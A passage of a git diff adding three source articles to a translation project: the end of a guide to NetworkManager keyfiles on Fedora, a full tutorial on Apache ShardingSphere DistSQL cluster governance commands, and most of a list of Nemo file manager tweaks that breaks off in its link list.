+connection.lldp                    ipv4.dhcp-vendor-class-identifier  ipv6.method +connection.llmnr                   ipv4.dns                           ipv6.never-default +connection.master                  ipv4.dns-options                   ipv6.ra-timeout +connection.mdns                    ipv4.dns-priority                  ipv6.required-timeout +connection.metered                 ipv4.dns-search                    ipv6.route-metric +connection.mud-url                 ipv4.gateway                       ipv6.routes +connection.multi-connect           ipv4.ignore-auto-dns               ipv6.route-table +connection.permissions             ipv4.ignore-auto-routes            ipv6.routing-rules +connection.read-only               ipv4.may-fail                      ipv6.token +connection.secondaries             ipv4.method                        master +connection.slave-type              ipv4.never-default                 match.driver +connection.stable-id               ipv4.required-timeout              match.interface-name +connection.timestamp               ipv4.route-metric                  match.kernel-command-line +connection.type                    ipv4.routes                        match.path +connection.uuid                    ipv4.route-table                   proxy.browser-only +connection.wait-device-timeout     ipv4.routing-rules                 proxy.method +connection.zone                    ipv6.addresses                     proxy.pac-script +help                               ipv6.addr-gen-mode                 proxy.pac-url +hostname.from-dhcp                 ipv6.dhcp-duid                     slave-type +hostname.from-dns-lookup           ipv6.dhcp-hostname                 tc.qdiscs +hostname.only-from-default         ipv6.dhcp-hostname-flags           tc.tfilters +hostname.priority                  ipv6.dhcp-iaid                     type +[root@myserver system-connections]# nmcli connection add +``` + +I typically prefer the command line for most tasks. However, the complexity of getting the syntax and options of this command correct means that I must always use the man page and research the command before I issue it. That takes time. And it still complained about things I missed or got incorrect. Even when it did not throw an error, it created keyfiles that worked poorly, if at all. For example, the connection worked when I would SSH out from the test VM, but I could not SSH into the test VM. I am still not sure what the problem was, but that keyfile had the wrong CIDR prefix for the IP address. I eventually got the command correct by referring to the example on the manual page nmcli-examples(7). + +When this is the only available method, I can do it, but it is my least preferred tool. + +##### Using the GUI NetworkManager connection editor + +I have used one of my laptops for parts of this section to show both wired and wireless connections. Although I typically prefer command-line tools, I like this GUI NetworkManager connection editor tool best of all the three available tool options. It is easy to use, intuitive, provides fast access to any configuration item that would ever be needed, and is directly available itself in the desktop system tray of all the desktops I have tried. + +Just right-click on the network icon, the one that looks like a pair of computers, in the system tray. Then choose Edit Connections. + +![A dropdown menu shows options for enabling networking, WiFi, and notifications, and others. A pointer arrow indicates the choice Edit Connections][6] + +This opens the connection editing window, as pictured below. Double-click the desired connection from the connection list, usually `Wired Connection 1` or a WiFi SSID. The illustration below shows both wired and wireless connections open for editing on one of my laptops. I have never needed to edit a wireless connection because the ones I connect to always use DHCP for configuration. It is possible to require static addressing for wireless connections, but I have never encountered that. + +![Two windows showing options for editing wired and wireless connections are side by side. The wired ethernet connection has fields for device, MTU, LAN info, and link negotiation. The WiFi version has fields for SSID, Mode, Band, Channel, Rate, Transmission Power, Device, and MTU,][7] + +The Ethernet tab of the Editing Wired Connection 1 dialog window shows the device name `enp111s0` for this laptop. In most cases, nothing on this page needs to be changed. + +Back on my VM, I changed the Method field from Automatic (DHCP) to Manual. I added the IP Address, the CIDR prefix, and the default route (gateway) I want for this host. I also added three DNS servers and the search domain. These are the minimum configuration variables needed for a network connection. They are also the same ones defined in the interface configuration files and the previous keyfiles. The device name for this NIC is `enp0s3`. Here is the configuration for the wired connection using the GUI NetworkManager connection editor tool. + +![The manual wired connection fields include addresses, DNS servers, search domains, DHCP client ID. The box to require IPv4 addressing for this connection to complete is checked.][8] + +Another option available for the Method field is Disabled. I set the IPV6 to **Disabled** since I don't use IPV6. + +After setting these values, clicking the Save button creates the new keyfile immediately. Making changes to existing keyfiles is just as easy. However, NetworkManager must be restarted for these configuration changes to take effect. + +In terms of the amount of time and work involved in creating new NetworkManager keyfiles, the GUI Connection Editor is far better than the other options. It provides an easy-to-use interface with enough information about the data required to be helpful. + +### Conclusions + +Fedora 36 changes the equation for using the old-style, deprecated interface configuration files. For new installations of Fedora 36, those files will not work unless the `NetworkManager-initscripts-ifcfg-rh` package is explicitly installed. This is a warning sign that all support for those deprecated `ifcfg` scripts will be completely ignored in the future. + +Fortunately, the migration from any existing `ifcfg` scripts is trivially easy, and creating new ones is not much more difficult using one of the three tools available. I prefer the GUI NetworkManager connection editor tool because it is clear and easy. I can use the `nmtui` tool, which does the same thing as the GUI version but has a somewhat clunkier user interface. I try not to use the `nmcli` tool if I can help it. It does work but is cumbersome and takes a lot of reading and experimentation to get the correct command syntax and all of the right arguments to create a fully usable keyfile. + +So go ahead and migrate now. I did, and it was easy. + +Image by: (David Both, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/migrate-networkmanager-keyfiles-configuration + +作者:[David Both][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LAW_fedora_cla.png +[2]: https://opensource.com/article/22/4/networkmanager-linux +[3]: https://opensource.com/article/22/8/network-configuration-files +[4]: https://opensource.com/sites/default/files/2022-08/EditingNetworkConnections-Figure-07.png +[5]: https://opensource.com/sites/default/files/2022-08/EditingNetworkConnections-Figure-08_0.png +[6]: https://opensource.com/sites/default/files/2022-08/EditingNetworkConnections-Figure-11.png +[7]: https://opensource.com/sites/default/files/2022-08/EditingNetworkConnections-Figure-12.png +[8]: https://opensource.com/sites/default/files/2022-08/EditingNetworkConnections-Figure-13.png diff --git a/sources/tech/20220824 Your guide to DistSQL-s cluster governance capability.md b/sources/tech/20220824 Your guide to DistSQL-s cluster governance capability.md new file mode 100644 index 0000000000..2c34e43347 --- /dev/null +++ b/sources/tech/20220824 Your guide to DistSQL-s cluster governance capability.md @@ -0,0 +1,486 @@ +[#]: subject: "Your guide to DistSQL's cluster governance capability" +[#]: via: "https://opensource.com/article/22/8/your-guide-distsqls-cluster-governance-capability" +[#]: author: "Raigor Jiang https://opensource.com/users/raigor" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Your guide to DistSQL's cluster governance capability +====== +A feature update to Apache ShardingSphere enhances the dynamic management of storage nodes. + +![Databases as a service][1] + +Image by: Jason Baker. CC BY-SA 4.0. + +Apache ShardingSphere 5.0.0-Beta version with DistSQL made the project even more beloved by developers and ops teams for its advantages, such as dynamic effects, no restart, and elegant syntax close to standard SQL. With upgrades to 5.0.0 and 5.1.0, the ShardingSphere community has once again added abundant syntax to DistSQL, bringing more practical features. + +In this article, the community co-authors will share the latest functions of DistSQL from the perspective of cluster governance. + +### ShardingSphere clusters + +In a typical cluster composed of ShardingSphere-Proxy, there are multiple compute nodes and storage nodes, as shown in the figure below. + +![An illustrated diagram shows three distinct applications at the top, represented by rectangles containing "Business Code." These each of these link to two instances of ShardingSphere-Proxy. Between these two instances is a Register Center; both proxies feed a Register Center. In addition, each proxy feeds four barrel-shaped distributed database resources, labeled ds_0, ds_1, ds_2, and ds_3.][2] + +Image by: (Jiang Longtao and Lan Chengxiang, CC BY-SA 4.0) + +To make it easier to understand, in ShardingSphere, we refer to proxy as a *compute node* and proxy-managed distributed database resources (such as ds_0 or ds_1) as *resources* or *storage nodes*. + +Multiple proxy or compute nodes are connected to the same register center. They share configuration and rules, and they can sense each other's online status. These compute nodes also share the underlying storage nodes, so they can perform read and write operations to the storage nodes at the same time. The user application is connected to any compute node and can perform equivalent operations. + +Through this cluster architecture, you can quickly scale proxy horizontally when compute resources are insufficient, reducing the risk of a single point of failure and improving system availability. The load-balancing mechanism can also be added between the application and compute node. + +### Compute node governance + +Compute node governance is suitable for cluster mode. For more information about the ShardingSphere modes, please see [Your detailed guide to Apache ShardingSphere's operating modes][3]. + +### Cluster preparation + +Take a standalone simulation of three proxy compute nodes as an example. To use the mode, follow the configuration below: + +``` +mode: +type: Cluster +repository: +type: ZooKeeper +props: +namespace: governance_ds +server-lists: localhost:2181 +retryIntervalMilliseconds: 500 +timeToLiveSeconds: 60 +maxRetries: 3 +operationTimeoutMilliseconds: 500 +overwrite: false +``` + +Execute the `bootup` command separately: + +``` +sh %SHARDINGSPHERE_PROXY_HOME%/bin/start.sh 3307 +sh %SHARDINGSPHERE_PROXY_HOME%/bin/start.sh 3308 +sh %SHARDINGSPHERE_PROXY_HOME%/bin/start.sh 3309 +``` + +After the three proxy instances are successfully started, the compute node cluster is ready. + +##### SHOW INSTANCE LIST + +Use the client to connect to any compute node, such as 3307: + +``` +mysql -h 127.0.0.1 -P 3307 -u root -p +``` + +View the list of instances using `SHOW INSTANCE LIST` : + +``` +mysql> SHOW INSTANCE LIST; ++----------------+-----------+------+---------+ +| instance_id    | host      | port | STATUS  | ++----------------+-----------+------+---------+ +| 10.7.5.35@3309 | 10.7.5.35 | 3309 | enabled | +| 10.7.5.35@3308 | 10.7.5.35 | 3308 | enabled | +| 10.7.5.35@3307 | 10.7.5.35 | 3307 | enabled | ++----------------+-----------+------+---------+ +``` + +The above fields mean: + +* instance_id: The id of the instance, which is currently composed of host and port +* host: Host address +* port: Port number +* status: The `status` of the instance, either enabled or disabled + +##### DISABLE INSTANCE + +Use a `DISABLE INSTANCE` statement to set the specified compute node to a disabled state. The statement does not terminate the process of the target instance but only virtually deactivates it. + +`DISABLE INSTANCE` supports the following syntax forms: + +``` +DISABLE INSTANCE 10.7.5.35@3308; +#or +DISABLE INSTANCE IP=10.7.5.35, PORT=3308; +``` + +For example: + +``` +mysql> DISABLE INSTANCE 10.7.5.35@3308; +Query OK, 0 ROWS affected (0.02 sec) +mysql> SHOW INSTANCE LIST; ++----------------+-----------+------+----------+ +| instance_id    | host      | port | STATUS   | ++----------------+-----------+------+----------+ +| 10.7.5.35@3309 | 10.7.5.35 | 3309 | enabled  | +| 10.7.5.35@3308 | 10.7.5.35 | 3308 | disabled | +| 10.7.5.35@3307 | 10.7.5.35 | 3307 | enabled  | ++----------------+-----------+------+----------+ +``` + +After executing the `DISABLE INSTANCE` statement by querying again, you can see that the instance status of Port 3308 has been updated to `disabled`, indicating that the compute node has been disabled. + +If there is a client connected to `10.7.5.35@3308`, executing any SQL statement will prompt an exception: + +``` +1000 - Circuit break mode IS ON. +``` + +You are not allowed to disable the current compute node. If you send `10.7.5.35@3309` to `DISABLE INSTANCE 10.7.5.35@3309`, you will receive an exception prompt. + +##### ENABLE INSTANCE + +Use an `ENABLE INSTANCE` statement to set the specified compute node to an enabled state. `ENABLE INSTANCE` supports the following syntax forms: + +``` +ENABLE INSTANCE 10.7.5.35@3308; +#or +ENABLE INSTANCE IP=10.7.5.35, PORT=3308; +``` + +For example: + +``` +mysql> SHOW INSTANCE LIST; ++----------------+-----------+------+----------+ +| instance_id    | host      | port | STATUS   | ++----------------+-----------+------+----------+ +| 10.7.5.35@3309 | 10.7.5.35 | 3309 | enabled  | +| 10.7.5.35@3308 | 10.7.5.35 | 3308 | disabled | +| 10.7.5.35@3307 | 10.7.5.35 | 3307 | enabled  | ++----------------+-----------+------+----------+ +mysql> ENABLE INSTANCE 10.7.5.35@3308; +Query OK, 0 ROWS affected (0.01 sec) +mysql> SHOW INSTANCE LIST; ++----------------+-----------+------+----------+ +| instance_id    | host      | port | STATUS   | ++----------------+-----------+------+----------+ +| 10.7.5.35@3309 | 10.7.5.35 | 3309 | enabled  | +| 10.7.5.35@3308 | 10.7.5.35 | 3308 | enabled  | +| 10.7.5.35@3307 | 10.7.5.35 | 3307 | enabled  | ++----------------+-----------+------+----------+ +``` + +After executing the `ENABLE INSTANCE` statement, you can query again and view that the instance state of Port 3308 has been restored to `enabled`. + +### How to manage compute node parameters + +In our article [Integrating SCTL into DISTSQL's RAL: Making Apache ShardingSphere perfect for database management][4], we explained the evolution of ShardingSphere control language (SCTL) to resource and rule administration language (RAL) and the new `SHOW VARIABLE` and `SET VARIABLE` syntax. + +However, in 5.0.0-Beta, the `VARIABLE` category of DistSQL RAL only contained only the following three statements: + +``` +SET VARIABLE TRANSACTION_TYPE = xx; (LOCAL, XA, BASE) +SHOW VARIABLE TRANSACTION_TYPE; +SHOW VARIABLE CACHED_CONNECTIONS; +``` + +By listening to the community's feedback, we noticed that querying and modifying the props configuration of proxy (located in `server.yaml` ) is also a frequent operation. Therefore, we have added support for props configuration in DistSQL RAL since the 5.0.0 GA version. + +##### SHOW VARIABLE + +First, we'll review how to configure props: + +``` +props: +max-connections-size-per-query: 1 + +kernel-executor-size: 16  # Infinite by default. + +proxy-frontend-flush-threshold: 128  # The default value is 128. + +proxy-opentracing-enabled: false + +proxy-hint-enabled: false + +sql-show: false + +check-table-metadata-enabled: false + +show-process-list-enabled: false + +# Proxy backend query fetch size. A larger value may increase the memory usage of ShardingSphere Proxy. + +# The default value is -1, which means set the minimum value for different JDBC drivers. + +proxy-backend-query-fetch-size: -1 + +check-duplicate-table-enabled: false + +proxy-frontend-executor-size: 0 # Proxy frontend executor size. The default value is 0, which means let Netty decide. + +# Available options of proxy backend executor suitable: OLAP(default), OLTP. The OLTP option may reduce time cost of writing packets to client, but it may increase the latency of SQL execution + +# and block other clients if client connections are more than `proxy-frontend-executor-size`, especially executing slow SQL. + +proxy-backend-executor-suitable: OLAP + +proxy-frontend-max-connections: 0 # Less than or equal to 0 means no limitation. + +sql-federation-enabled: false + +# Available proxy backend driver type: JDBC (default), ExperimentalVertx + +proxy-backend-driver-type: JDBC +``` + +Now, you can perform interactive queries by using the following syntax: + +``` +SHOW VARIABLE PROXY_PROPERTY_NAME; +``` + +For example: + +``` +mysql> SHOW VARIABLE MAX_CONNECTIONS_SIZE_PER_QUERY; ++--------------------------------+ +| max_connections_size_per_query | ++--------------------------------+ +| 1                              | ++--------------------------------+ +1 ROW IN SET (0.00 sec) +mysql> SHOW VARIABLE SQL_SHOW; ++----------+ +| sql_show | ++----------+ +| FALSE    | ++----------+ +1 ROW IN SET (0.00 sec) +…… +``` + +Note: For DistSQL syntax, parameter keys are separated by underscores. + +##### SHOW ALL VARIABLES + +Since there are plenty of parameters in proxy, you can also query all parameter values through `SHOW ALL VARIABLES` : + +``` +mysql> SHOW ALL VARIABLES; ++---------------------------------------+----------------+ +| variable_name                         | variable_value | ++---------------------------------------+----------------+ +| sql_show                              | FALSE          | +| sql_simple                            | FALSE          | +| kernel_executor_size                  | 0              | +| max_connections_size_per_query        | 1              | +| check_table_metadata_enabled          | FALSE          | +| proxy_frontend_database_protocol_type |                | +| proxy_frontend_flush_threshold        | 128            | +| proxy_opentracing_enabled             | FALSE          | +| proxy_hint_enabled                    | FALSE          | +| show_process_list_enabled             | FALSE          | +| lock_wait_timeout_milliseconds        | 50000          | +| proxy_backend_query_fetch_size        | -1             | +| check_duplicate_table_enabled         | FALSE          | +| proxy_frontend_executor_size          | 0              | +| proxy_backend_executor_suitable       | OLAP           | +| proxy_frontend_max_connections        | 0              | +| sql_federation_enabled                | FALSE          | +| proxy_backend_driver_type             | JDBC           | +| agent_plugins_enabled                 | FALSE          | +| cached_connections                    | 0              | +| transaction_type                      | LOCAL          | ++---------------------------------------+----------------+ +21 ROWS IN SET (0.01 sec) +``` + +##### SET VARIABLE + +Dynamic management of resources and rules is a special advantage of DistSQL. Now you can also dynamically update props parameters by using the `SET VARIABLE` statement. For example: + +``` +#Enable SQL log output +SET VARIABLE SQL_SHOW = true; +#Turn on hint function +SET VARIABLE PROXY_HINT_ENABLED = true; +#Open federal query +SET VARIABLE SQL_FEDERATION_ENABLED = true; +…… +``` + +The `SET VARIABLE` statement can modify the following parameters, but the new value takes effect only after the proxy restart: + +* kernel_executor_size +* proxy_frontend_executor_size +* proxy_backend_driver_type + +The following parameters are read-only and cannot be modified: + +* cached_connections + +Other parameters will take effect immediately after modification. + +### How to manage storage nodes + +In ShardingSphere, storage nodes are not directly bound to compute nodes. One storage node may play different roles in different schemas at the same time, in order to implement different business logic. Storage nodes are always associated with a schema. + +For DistSQL, storage nodes are managed through `RESOURCE` -related statements, including: + +* ADD RESOURCE +* ALTER RESOURCE +* DROP RESOURCE +* SHOW SCHEMA RESOURCES + +### Schema preparation + +`RESOURCE` -related statements only work on schemas, so before operating, you need to create and use the `USE` command to successfully select a schema: + +``` +DROP DATABASE IF EXISTS sharding_db; +CREATE DATABASE sharding_db; +USE sharding_db; +``` + +##### ADD RESOURCE + +`ADD RESOURCE` supports the following syntax forms: + +* Specify `HOST`, `PORT`, `DB` + +``` +ADD RESOURCE resource_0 ( +HOST=127.0.0.1, +PORT=3306, +DB=db0, +USER=root, +PASSWORD=root +); +``` + +* Specify URL + +``` +ADD RESOURCE resource_1 ( +URL="jdbc:mysql://127.0.0.1:3306/db1?serverTimezone=UTC&useSSL=false", +USER=root, +PASSWORD=root +); +``` + +The above two syntax forms support the extension parameter `PROPERTIES`, which is used to specify the attribute configuration of the connection pool between the proxy and the storage node. + +For example: + +``` +ADD RESOURCE resource_2 ( +HOST=127.0.0.1, +PORT=3306, +DB=db2, +USER=root, +PASSWORD=root, +PROPERTIES("maximumPoolSize"=10) +),resource_3 ( +URL="jdbc:mysql://127.0.0.1:3306/db3?serverTimezone=UTC&useSSL=false", +USER=root, +PASSWORD=root, +PROPERTIES("maximumPoolSize"=10,"idleTimeout"="30000") +); +``` + +Specifying Java Database Connectivity (JDBC) connection parameters, such as `useSSL`, is supported only with URL form. + +##### ALTER RESOURCE + +Use `ALTER RESOURCE` to modify the connection information of storage nodes, such as changing the size of a connection pool or modifying JDBC connection parameters. + +Syntactically, `ALTER RESOURCE` is identical to `ADD RESOURCE`. + +``` +ALTER RESOURCE resource_2 ( +HOST=127.0.0.1, +PORT=3306, +DB=db2, +USER=root, +PROPERTIES("maximumPoolSize"=50) +),resource_3 ( +URL="jdbc:mysql://127.0.0.1:3306/db3?serverTimezone=GMT&useSSL=false", +USER=root, +PASSWORD=root, +PROPERTIES("maximumPoolSize"=50,"idleTimeout"="30000") +); +``` + +Since modifying the storage node may cause metadata changes or application data exceptions, `ALTER RESOURCE` cannot be used to modify the target database of the connection. Only the following values can be modified: + +* User name +* User password +* PROPERTIES connection pool parameters +* JDBC parameters + +##### DROP RESOURCE + +Use `DROP RESOURCE` to delete storage nodes from a schema without deleting any data in the storage node. The statement example is as follows: + +``` +DROP RESOURCE resource_0, resource_1; +``` + +To ensure data correctness, the storage node referenced by the rule cannot be deleted. + +`t_order` is a sharding table, and its actual tables are distributed in `resource_0` and `resource_1`. When `resource_0` and `resource_1` are referenced by `t_order` sharding rules, they cannot be deleted. + +##### SHOW SCHEMA RESOURCES + +`SHOW SCHEMA RESOURCES` is used to query storage nodes in schemas and supports the following syntax forms: + +``` +#Query the storage node in the current schema +SHOW SCHEMA RESOURCES; +#Query the storage node in the specified schema +SHOW SCHEMA RESOURCES FROM sharding_db; +``` + +For example, add four storage nodes through the `ADD RESOURCE` command, and then execute a query: + +![A table of output from a Show Schema Resources request shows 4 MySQL database resource from the same host and port, indicate their connection timeout in milliseconds, idle timeout in milliseconds, max lifetime in milliseconds, max pool size and minimum pool size.][5] + +Image by: (Jiang Longtao and Lan Chengxiang, CC BY-SA 4.0) + +There are many columns in the query result, but here we only show part of them. + +### Conclusion + +In this article, we have introduced you to the ways you can dynamically manage storage nodes through DistSQL. + +Unlike modifying YAML files, executing DistSQL statements happens in real time, and there is no need to restart the proxy or compute node, making online operations safer. Changes executed through DistSQL can be synchronized to other compute nodes in the cluster in real time through the register center. The client connected to any compute node can also query changes of storage nodes in real time. + +If you have any questions or suggestions about Apache ShardingSphere, please open an issue on the [GitHub issue list][6]. If you are interested in contributing to the project, you're very welcome to join the Apache ShardingSphere community. + +Apache ShardingSphere Project Links: + +* [ShardingSphere Github][7] +* [ShardingSphere Twitter][8] +* [ShardingSphere Slack][9] +* [Contributor Guide][10] + +This article originally appeared on [FAUN][11] and is republished with permission. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/your-guide-distsqls-cluster-governance-capability + +作者:[Raigor Jiang][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/raigor +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bus_cloud_database.png +[2]: https://opensource.com/sites/default/files/2022-08/shardingsphere%20chart_0.png +[3]: https://medium.com/codex/your-detailed-guide-to-apache-shardingspheres-operating-modes-e50df1ee56e4 +[4]: https://dzone.com/articles/integrating-sctl-into-distsqls-ral-making-apache-s +[5]: https://opensource.com/sites/default/files/2022-08/distsql%20image%202.png +[6]: https://github.com/apache/shardingsphere/issues +[7]: https://github.com/apache/shardingsphere +[8]: https://twitter.com/ShardingSphere +[9]: https://join.slack.com/t/apacheshardingsphere/shared_invite/zt-sbdde7ie-SjDqo9~I4rYcR18bq0SYTg +[10]: https://shardingsphere.apache.org/community/cn/contribute/ +[11]: https://faun.pub/ diff --git a/sources/tech/20220825 15 Ways to Tweak Nemo File Manager in Linux to Get More Out of it.md b/sources/tech/20220825 15 Ways to Tweak Nemo File Manager in Linux to Get More Out of it.md new file mode 100644 index 0000000000..f582c666e7 --- /dev/null +++ b/sources/tech/20220825 15 Ways to Tweak Nemo File Manager in Linux to Get More Out of it.md @@ -0,0 +1,322 @@ +[#]: subject: "15 Ways to Tweak Nemo File Manager in Linux to Get More Out of it" +[#]: via: "https://itsfoss.com/nemo-tweaks/" +[#]: author: "sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +15 Ways to Tweak Nemo File Manager in Linux to Get More Out of it +====== +Nemo is the default file manager of the Cinnamon Desktop. You get it in Linux Mint and other distributions with the Cinnamon desktop. + +It’s a powerful file manager with plenty of features you might not know. Some tweaks are hidden inside the Nemo settings while some require installing additional extension packages. + +I have included commands for installing extensions for Ubuntu and Debian-based distributions. + +**Note: Please don’t go and install all the extensions. Only use the ones you would use.** + +### 1. Enable quick file preview + +Nemo Preview is a cool feature that comes in handy if you want to peek into some files on the go. You can access the preview feature for images, audio, video, PDF, etc. + +It also allows scrolling the documents in preview mode and adds a floating control with a seek par in audio/video preview. + +![File Preview in Nemo File Manager With Nemo Preview][1] + +You can get the preview feature by installing the following extension: + +``` +sudo apt install nemo-preview +``` + +Once installed, you may need to restart the Nemo file manager. + +To activate the preview, **select the file and press the Space key**. Pressing the space key again will close the preview. + +### 2. Click twice to rename + +This is one of the iconic features of Nemo file manager, which is already offered in Dolphin File Manager of KDE, but absent in Nautilus of Gnome. + +To enable this setting, you need to go to Edit > Preferences > Behaviour and toggle the option as shown below: + +![Click on File Name Twice to Rename It][2] + +Once done, you can now click twice on a file/folder and an inline rename option appears to rename the respective selection. + +### 3. Bulk rename files + +Nemo also offers a bulk rename feature that many Linux users are not aware of. + +What you have to do is, select the files and select **rename** from the right click. You’ll get different kinds of options to tweak the names of the selected group of files. + +![Nemo File Manager Bulk Rename][3] + +You can find and replace, remove certain parts of the name among many other things. + +### 4. Double click anywhere to go to the parent folder + +This is rather an accessibility setting. Instead of pressing the back button or clicking on the places tree, you can simply double-click anywhere in the empty space in the window to go to the parent folder. + +To enable this feature, go to Edit > Preferences > Behaviour and toggle on the option as shown in the screenshot below. + +![Double Click on Blank Area to go to Parent Folder][4] + +### 5. Compress files and folders + +This is not a secret really. Almost all file managers have this option as far as I know. + +Right click on a file or folder and you get the Compress option to create an archive file. + +![Compress Option in Right Click Context Menu][5] + +You can choose between formats like .7z, .tar, .zip to .apk, .epub. etc. Some compression methods like epub requires their own defined formats to succeed. + +![Compress Options][6] + +Some compression formats support password protection, encryption and splitting, as shown in the above screenshot. + +If you did not find this option, you could install the package nemo-fileroller: + +``` +sudo apt install nemo-fileroller +``` + +### 6. Configure the right-click context menu + +By default, there are many options in the right-click context menu. If you are one of those users who want to control what appears on your right-click menu, this is the feature for you. + +You can access this setting from Edit > Preferences > Context Menus: + +![Configure Right Click Context Menu][7] + +Here you can toggle on or off various options you want to appear when you right-click anywhere. You can now populate your right-click menu with features you use frequently. + +### 7. Rotate and resize images with right click + +To enable this feature, you need to install nemo-image-converter package. + +``` +sudo apt install nemo-image-converter +``` + +Restart Nemo and you can access the additional options right within the right-click context menu. + +![Rotate or Resize Images in Nemo File Manager][8] + +### 8. Change folder colours and add emblems + +The feature to change folder colour was preinstalled on my Linux Mint 21. To change individual folder colour, right-click on the file and change colour from the context menu. + +![Change Individual Folder Color][9] + +If you don’t see it, you can install the extension: + +``` +sudo apt install folder-color-switcher +``` + +Another cool feature is to add emblems to files and folders. To give an emblem to a file or folder, right-click and go to the properties dialog box. + +From this, select the emblems tab and add whatever emblem you like. + +![Select Emblems for Files or Folders][10] + +If it’s not installed by default, you can install it by: + +``` +sudo apt install nemo-emblems +``` + +### 9. Verify checksum of files + +There are dedicated tools to [verify checksum of files in Linux][11]. You can also check hashes in the Nemo file manager with nemo-gtkhash extension. + +``` +sudo apt install nemo-gtkhash +``` + +Now quit nemo and re-open. Select the file to check hash and go to the **Digests** tab in properties. + +![Check Hash Checksum of File with Nemo GTKHash][12] + +It will take some time to check the hash and a tick mark, as shown in the above screenshot, indicates a successful result. + +### 10. Use advanced permissions in properties dialog box + +Now, you can view amore detailed an an intuitive permission dialog box for folders and file. To get this, you need to go to Edit > Preferences > Display and toggle the button on as shown below: + +![Show Advanced Permission in Property Dialog Box][13] + +Now, instead of the old, drop-down menu interface, you get a neat-looking permission manager with a toggle button interface and more options to tweak. + +![Edit Advanced Permissions in Property Dialog Box][14] + +### 11. Embed a terminal + +Fancy a terminal? You can get it right inside the Nemo file manager. + +Each time you change directories, a cd command is initiated and the location in the embedded terminal is also changed. + +To get this function, you need to install nemo-terminal package. + +``` +sudo apt install nemo-terminal +``` + +Now restart Nemo and you get an embed terminal on the top side. + +![Nemo Embedded Terminal][15] + +### 12. Get the list of recently visited directories + +There is the “Recent” option in the places section, where you can see the recently accessed files. But what about the recently visited folders? + +In Nemo, on the top left, **right-click on the back arrow** to get the list of previously visited folders. + +![Right Click on Top Left Back Arrow to Access Recent Folders][16] + +### 13. Show the number of items in folders + +You can show how many files and folders are inside a folder in Nemo File Manager. + +![Show Number of Items Inside Folder Using Nemo File Manager][17] + +It is a built-in feature. Go to Edit > Preferences > Display and select Size as shown in the screenshot below: + +![Show Folder Item Count and File Sizes in Nemo Preferences][18] + +### 14. Nemo media columns + +This is a small addition, useful only if you use the ‘List View’ in Nemo. It provides additional column options in the list view. + +![default list columns available in nemo][19] + +![more media columns added to nemo list view][20] + +To get this feature, you need to install nemo-media-columns: + +``` +sudo apt install nemo-media-columns +``` + +![More Columns View in Nemo List View][21] + +### 15. Nemo Scripts and Actions (for expert users) + +Here are a few advanced features that enhances the overall function of nemo file manager by adding user defined functions. + +#### Nemo Scripts + +With this feature, users can create their own shell scripts for certain functionality they wish and embed them into the right-click context menu. + +You need to save your shell scripts in ~/.local/share/nemo/scripts directory. With the help of tools like [zenity][22], you can even give a GTK interface for your script. + +Let me show an example. + +Below is a script adding a color palette to select colour and copy the colour to [copyq clipboard manager][23]. Save the file with name Color in the above-mentioned directory and give it executable permission. Copyq and Zenity should be installed. + +``` +#!/bin/bash +name=$(zenity --color-selection --show-palette --title Color\ Select) +copyq add $name +``` + +![Nemo Scripts in Right Click Context][24] + +![Color Select with Zenity][25] + +The selected color code will now be accessible from the clipboard. + +#### Nemo Actions + +This is similar to Nemo Scripts. Here, you can define a script in the form of a key-value pair for additional functions over selected files. + +The files should have extension `.nemo_action` and they should be located in `~/.local/share/nemo/actions` + +Here is a snippet of code provided in the Linux Mint Community. It creates an option to reduce the image size by 50%. + +Save this script as reduce_50.nemo_action in the above-mentioned directory and you will find the option in right-click context menu + +``` +[Nemo Action] +Active=true +Name=Reduce Image 50% +Comment=Reduce the size of the image by 50% +Exec=ffmpeg -i %F -vf scale=iw/2:-1 copy-50%f +Icon-Name=image +Selection=any; +Extensions=jpg;jpeg;png;bmp;gif;tiff;raw; +Terminal=true +``` + +![Reduce Image by 50 Percent Context Menu Entry][26] + +You can see the resultant file with the slightly modified name. + +![Image Reduced with Nemo Actions Result][27] + +This way, you effectively enhance Nemo file manager functionality as per your requirement. + +### More tweaks and extensions + +Apart from numerous extensions, there are other built-in features in Nemo like integrations with cloud services, other handy right-click menu items etc. + +It is not necessary for you to install and use all of the features mentioned above. You can handpick those that suit your needs. + +You can also **toggle on/off any of the installed extensions** by going to Edit > Plugins (or Alt + P). + +![Access Plugins from Menu][28] + +Here, you can manage your installed plugins, actions, scripts etc. This enables you to activate or deactivate certain features without the hassle of installing/uninstalling packages. Every feature can be toggled on or off as needed. Just restart Nemo to get the effect. + +![Plugins View and Manage in Nemo][29] + +When we last published the [Nautilus tweak article][30], a few readers requested a similar one for Nemo. And hence this article came into existence. + +I hope you find the tweaks interesting. If you have suggestions or questions, please leave a comment. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/nemo-tweaks/ + +作者:[sreenath][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/file-preview-in-nemo-file-manager-with-nemo-preview.png +[2]: https://itsfoss.com/wp-content/uploads/2022/08/click-on-file-name-twice-to-rename-it.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/nemo-file-manager-bulk-rename.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/double-click-on-blank-area-to-go-to-parent-folder.png +[5]: 